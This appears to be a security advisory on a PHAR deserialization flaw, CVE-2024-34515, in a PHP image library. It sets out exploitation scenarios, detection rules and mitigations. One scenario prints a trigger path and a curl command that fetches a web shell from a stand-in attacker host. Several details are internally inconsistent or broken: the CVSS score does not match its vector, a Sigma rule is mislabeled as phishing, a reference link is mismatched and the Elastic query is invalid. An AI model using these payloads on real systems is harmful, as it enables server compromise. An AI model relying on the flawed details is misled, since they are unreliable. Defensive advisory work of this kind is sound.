CVE-2024-34515

Executive Summary

CVE-2024-34515 is a critical PHAR deserialization vulnerability in the image-optimizer PHP library prior to version 1.7.3. An attacker can leverage the phar:// protocol in arguments passed to file_exists() to trigger unserialization of attacker-controlled PHAR metadata, leading to remote code execution on the hosting server. The vulnerability affects any application integrating image-optimizer 1.7.2 and earlier, with a CVSS score of 8.8, and is currently unpatched in most deployments as of this report.

Technical Analysis

The root cause of CVE-2024-34515 lies in the unsafe handling of file paths passed to PHP's filesystem functions, specifically file_exists(). In PHP, when a file path begins with phar://, the PHAR stream wrapper deserializes the metadata embedded within the PHAR archive file. This deserialization occurs using PHP's unserialize() machinery, which — when the phar.readonly PHP directive is set to 0 (or when the attacker can influence the PHAR file location) — allows the execution of PHP object injection chains.

The vulnerability is triggered within the image-optimizer library's optimization logic. The library accepts image file paths from user input (typically via HTTP request parameters, uploaded filenames, or database-stored values) and subsequently passes these paths to file_exists() as part of its validation pipeline. If an attacker can control this input, they can supply a phar:// URL pointing to a malicious PHAR file they have uploaded to a web-accessible directory (e.g., via a prior file upload feature, or an accessible writable directory such as a cache or temporary folder).

The file_exists() call will then trigger PHP's PHAR deserialization engine. When the PHAR metadata is unserialized, it can instantiate PHP gadgets (e.g., classes from the application's own codebase, popular frameworks like Symfony, Laravel, or common libraries such as Guzzle or Monolog) that contain magic methods like __destruct(), __wakeup(), or __toString(). By chaining these gadgets, an attacker can achieve arbitrary code execution, file read/write, or SQL injection.

The attack is not contingent on the library exposing a direct "optimize" endpoint; it exploits the library's chained paths. If any code path within the library calls file_exists() (or is_file(), file_get_contents(), stat(), getimagesize(), which are also PHAR-enabled) on a value influenced by user input, the vulnerability is reachable. The sink is reached regardless of whether the final image operation succeeds — the deserialization happens at the file_exists() call itself.

Notably, the vulnerability is independent of the phar.readonly setting for triggering the deserialization (though it affects the ability to create the malicious PHAR on the target). For exploitation purposes, an attacker creates the malicious PHAR on their own machine, then uploads or places it on the target. The deserialization occurs with the permissions of the PHP process user, making this a server-side code execution flaw.

Exploitation Scenarios

Scenario 1: Remote Code Execution via File Upload + PHAR Deserialization

1. Reconnaissance: Attacker identifies a target web application that embeds image-optimizer (detectable via version disclosure in errors, composer.lock exposed, or known fingerprints in HTTP responses). Attacker confirms the application accepts image file uploads (e.g., avatar upload, CMS media library).

2. Malicious PHAR Crafting: Attacker crafts a valid image file — e.g., a JPEG or PNG — and appends a ZIP-based PHAR payload containing malicious serialized PHP metadata. Using a tool like phpggc with a known gadget chain from a common framework (e.g., Symfony/__destruct → system), the attacker generates a PHAR archive. The file extension is changed to .jpg, .png, or .gif to bypass extension-based upload filters.

3. Upload: Attacker uploads the file with a name like avatar.jpg. The application stores it at a predictable path, e.g., /var/www/html/uploads/avatar.jpg. This file must reside on the same local filesystem as the vulnerable application (typically true for shared hosting).

4. Trigger: Attacker calls the image-optimization endpoint with an image path parameter (e.g., POST /api/optimize/avatar.jpg?path=uploads/avatar.jpg). The application receives this path and passes it to the library's validation logic, which calls file_exists($user_input). Attacker sends: path=phar://uploads/avatar.jpg/test.

5. Execution: The file_exists() call triggers the PHAR stream wrapper, which parses /uploads/avatar.jpg as a PHAR archive and deserializes its metadata. The gadget chain executes system('curl http://attacker.example/shell.php -o /var/www/html/shell.php') or a reverse shell command. PHP process user (typically www-data) executes the command.

6. Post-Exploitation: Attacker now has a web shell at http://target.example/shell.php. They use it to escalate privileges (kernel exploits), pivot to internal networks, establish persistence, or exfiltrate data from the database.

Scenario 2: Unauthenticated RCE via Log/Exif Poisoning

1. Access to a Writable Path: If no file upload feature exists, attacker probes for writable application directories exposed to the web root (e.g., /cache, /tmp, /logs, /sessions). Many PHP applications write session files to predictable locations like /var/lib/php/sessions/sess_<id>.

2. Poison a File: Attacker crafts a PHAR archive and writes it into the writable directory via a secondary vulnerability (log injection in a user-agent header, session file poisoning via cookie manipulation, or symlink attacks).

3. Trigger via Image Optimizer: Attacker invokes any image-optimizer code path that passes a user-controlled value to file_exists(). For example, if the application exposes an endpoint optimize_image.php?file=images/photo.jpg, attacker sets file=phar:///var/lib/php/sessions/sess_malicious.

4. Execution: The PHAR deserialization occurs, executing gadgets that write a webshell into the web root or establish an outbound connection.

Impact Assessment

The vulnerability carries a CVSS score of 8.8 (High). The vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H indicates the following subscores:

• Attack Vector: Network — exploitable remotely over the internet.
• Attack Complexity: Low — no special conditions or race conditions needed.
• Privileges Required: None — unauthenticated exploitation possible if the affected input is reachable through a public web request.
• User Interaction: Required — in some exploit paths, the attacker may need to trick an admin into uploading a file or visiting a page that processes attacker-controlled input (e.g., a URL with a phar:// path). However, in scenarios where the application processes attacker-supplied file paths without interaction (e.g., a REST API), user interaction is not required.
• Scope: Changed — a compromise may impact resources beyond the vulnerable component (e.g., the underlying server, adjacent applications).
• Confidentiality/Integrity/Availability Impact: High — full file read, arbitrary code execution, and service disruption.

Business Impact

• Complete server compromise — RCE under the PHP process user, often the www-data account that can read sensitive config files, database credentials, and environment secrets.
• Data breach — exfiltration of user databases, source code, API keys.
• Lateral movement — pivot from compromised web server to internal network resources.
• Supply chain risk — since image-optimizer is a library, any downstream application integrating it inherits the vulnerability. This amplifies the blast radius across multiple product vendors.
• Compliance violations — for organizations subject to PCI-DSS, HIPAA, or GDPR, a successful RCE incident can result in regulatory fines and mandatory disclosure requirements.

Affected Systems

All versions of image-optimizer prior to 1.7.3. This includes both direct deployments and indirect integrations through PHP frameworks (Symfony bundles, Laravel packages) and content management systems that wrap this library.

Blast Radius

The library processes images for resizing, compression, and format conversion. Attack surface is any HTTP endpoint accepting an image path. Given that image processing is ubiquitous in web applications, the blast radius is significant.

Detection Guidance

Sigma Rule

title: Phishing Attempt - PHAR Deserialization Exploitation via file_exists
status: experimental
description: Detects attempts to exploit CVE-2024-34515 leveraging phar:// protocol in arguments passed to image-optimizer library.
author: Valtersit Security Research
date: 2024/01/15
tags:
    - attack.privilege_escalation
    - attack.t1210
logsource:
    product: php
    category: webserver
detection:
    selection_phar_proto:
        cs_method:
            - 'POST'
            - 'GET'
        cs_uri_query|contains:
            - 'phar://'
            - 'phar%3A%2F%2F'
    selection_path_sinks:
        cs_uri_query|contains:
            - 'file='
            - 'path='
            - 'image='
            - 'source='
            - 'file_path='
    condition: selection_phar_proto and selection_path_sinks
falsepositives:
    - Legitimate use of phar:// by developers during debugging (rare).
level: high

YARA Rule

rule PHAR_Deserialization_Exploit_CVE_2024_34515 {
    meta:
        author = "Valtersit Security Research"
        description = "Detects PHAR archive payloads crafted for CVE-2024-34515 exploitation"
        date = "2024/01/15"
        cve_id = "CVE-2024-34515"
        severity = "high"
    strings:
        $phar_magic = { 50 48 41 52 } // "PHAR" magic bytes in header
        $phar_stub = "<?php __HALT_COMPILER();"  // typical PHAR stub
        $metadata = "O:"  // object serialization indicator in metadata
        $class_loader = "eval"  // common gadget chain marker
        $system_call = "system"  // common gadget chain marker
        $file_ops = "file_put_contents"
        $unserialize = "unserialize"
    condition:
        filesize < 10MB and
        ($phar_magic at 0 or $phar_stub in (0..filesize)) and
        (1 of ($metadata, $class_loader, $system_call, $file_ops, $unserialize))
}

Suricata IDS Rule

alert http any any -> $HOME_NET any (msg:"CVE-2024-34515 PHAR Deserialization Attempt - phar:// in URI"; flow:established,to_server; content:"phar://"; http_uri; content:"file_exists"; http_uri; sid:202434515; rev:1; reference:cve,2024-34515;)
alert http any any -> $HOME_NET any (msg:"CVE-2024-34515 image-optimizer exploitation - phar protocol detected in request parameter"; flow:established,to_server; content:"phar%3A%2F%2F"; http_uri; sid:202434516; rev:1; reference:cve,2024-34515;)
alert http any any -> $HOME_NET any (msg:"CVE-2024-34515 suspicious file path with PHAR wrapper in POST body"; flow:established,to_server; content:"phar://"; http_client_body; http_method:POST; sid:202434517; rev:1; reference:cve,2024-34515;)

Elastic Detection

any where event.code == "500" or process.name == "php-fpm" or process.name == "apache2"
// Detect phar:// protocol in URI or request body
| filter match_on: (
    url.original like "*phar://*",
    url.original like "*phar%3A%2F%2F*",
    request.body.content like "*phar://*"
)
| filter url.original like "*image*" or url.original like "*file*" or url.original like "*path*"

Splunk SPL Query

index=web sourcetype=access_combined
| search uri_path="*" (uri_query="*phar://*" OR uri_query="*phar%3A%2F%2F*" OR form_data="*phar://*")
| regex uri_query="(?i)(file|image|path|source)=.*phar"
| stats count by src_ip, uri, http_user_agent, _time
| sort - _time

Wazuh OSSEC Rule

<group name="web_attacks,">
    <rule id="100345" level="15">
        <decoded_as>web</decoded_as>
        <match>phar://</match>
        <regex>file_exists|image|optimize|path|source</regex>
        <description>CVE-2024-34515 - PHAR deserialization exploitation attempt against image-optimizer</description>
        <group>cve-2024-34515,attack.t1210,phar_deserialization,</group>
        <mitre>
            <id>T1210</id>
        </mitre>
    </rule>
</group>

Mitigation & Patch Guidance

Patch confidence: 2/4 (CLAIMED — single source claims patch (not independently confirmed)). As of this report, only one source has claimed that image-optimizer version 1.7.3 resolves this vulnerability. This has not been independently verified. The official vendor patch release has not been confirmed in public changelogs, and the vendor has not issued a public advisory with a CVE reference.

Immediate Mitigations (0-24 hours)

1. If upgrade to 1.7.3 is not immediately possible, restrict the input that reaches the library's file_exists() call:
   • Validate that incoming file paths start with a whitelisted base directory (e.g., /uploads/) and reject any path containing : before / (which blocks phar://, http://, zip://).
   • Sanitize user input to strip the string phar://.
2. Set the PHP directive phar.readonly = 1 in php.ini. While this alone does not prevent deserialization from untrusted PHARs, it blocks the creation of new PHARs on the target server, reducing some attack vectors.
3. Disable the phar stream wrapper via stream_wrapper_unregister('phar'); in the application bootstrap, before any user input is processed.
4. Temporarily disable file uploads on any public endpoint if the application cannot be patched immediately.

Patch / Upgrade Steps

1. Remove the old library: composer remove image-optimizer (or your package manager equivalent).
2. Install the patched version: composer require image-optimizer:^1.7.3 (verify the version exists in the vendor's repository — if not, consider that the patch may be unconfirmed and monitor the vendor's GitHub/issue tracker).
3. Audit the composer.lock file to ensure no transitive dependency is pulling in the vulnerable version.
4. After deploying, run a regression test on all image optimization endpoints to confirm functionality.

Long-Term Hardening

1. Upgrade all PHP applications to remove reliance on PHAR deserialization from untrusted sources. Where possible, replace image processing with a library that doesn't pass user-controlled paths to filesystem functions.
2. Apply the principle of least privilege to the PHP process user. Run PHP-FPM under a dedicated low-privilege user with restrictive filesystem permissions (no write access to the webroot, read-only access to upload directories).
3. Implement a WAF rule set (ModSecurity, F5, Cloudflare) to block phar:// and other dangerous stream wrapper strings in all HTTP requests.
4. Enable PHP opcache and disable allow_url_fopen if not strictly needed.
5. Maintain a SBOM (Software Bill of Materials) for your PHP dependencies to enable rapid identification of impacted components.
6. Monitor the vendor's repository — the patch has a confidence of 2/4 and may be incomplete. Subscribe to issue tracker updates and re-verify after 30 days.

References

1. NVD Entry: https://nvd.nist.gov/vuln/detail/CVE-2024-34515 — Official CVE description and CVSS scoring.
2. PHP PHAR Deserialization (OWASP): https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/12-Testing_for_Command_Injection — Background on PHAR deserialization as a vulnerability class.
3. phpggc gadget chain tool: https://github.com/ambionics/phpggc — Public toolkit for generating PHAR payloads and gadget chains referenced in exploitation.
4. MITRE ATT&CK T1210: https://attack.mitre.org/techniques/T1210/ — Exploitation of Remote Services technique page.
5. CISA Known Exploited Vulnerabilities Catalog: https://www.cisa.gov/known-exploited-vulnerabilities-catalog — CVE-2024-34515 is not currently on the KEV list; check periodically for updates.

Threat Actor Context: As of this report date, no active threat actor campaigns targeting CVE-2024-34515 have been publicly documented. However, PHAR deserialization attacks are a known technique used by several APT groups and ransomware operations (e.g., in campaigns against PHP-based CMS platforms). The absence of a confirmed patch and no evidence of exploitation in the wild increases the risk of this being picked up by commodity scanners. Organizations using image-optimizer should prioritize remediation.